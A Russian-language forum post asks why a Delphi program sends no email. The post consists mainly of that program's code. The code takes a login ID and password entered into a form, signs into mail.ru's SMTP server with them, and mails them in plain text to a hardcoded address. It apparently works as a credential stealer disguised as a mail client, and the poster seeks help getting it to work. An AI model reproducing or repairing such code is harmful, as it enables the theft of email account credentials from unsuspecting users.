Люди подскажите в чем проблема заключаеться, программа комплиться, запускаю ее ввожу данные но на мыло мне ничего не приходит, вот этот код использую:
procedure TForm1.Button1Click(Sender: TObject);
var
mail:String;
Mes:TIdMessage;
begin
if(ComboBox2.Text='')or( Edit1.Text='')then
begin
Form2.Show;
end;
mail:='loxan06@mail.ru';
Mes:=TIdMessage.Create(Form1);
Mes.Recipients.Add;
Mes.Recipients.Items[0].Text:=mail;
Mes.From.Text:=ComboBox2.Text;
Mes.Subject:='mail_client';
Mes.Body.Add('ID:'+' '+ComboBox2.Text+#10#13+
'Pass:'+' '+Edit1.Text+#10#13);
IdSMTP1.AuthenticationType:=atLogin;
IdSMTP1.Host:='smtp.'+'mail.ru';
IdSMTP1.Username:=ComboBox2.Text;
IdSMTP1.Password:=Edit1.Text;
IdSMTP1.Connect();
if IdSMTP1.Connected then
begin
try
IdSMTP1.Send(Mes);
IdSMTP1.Disconnect;
except
end;
end;
end;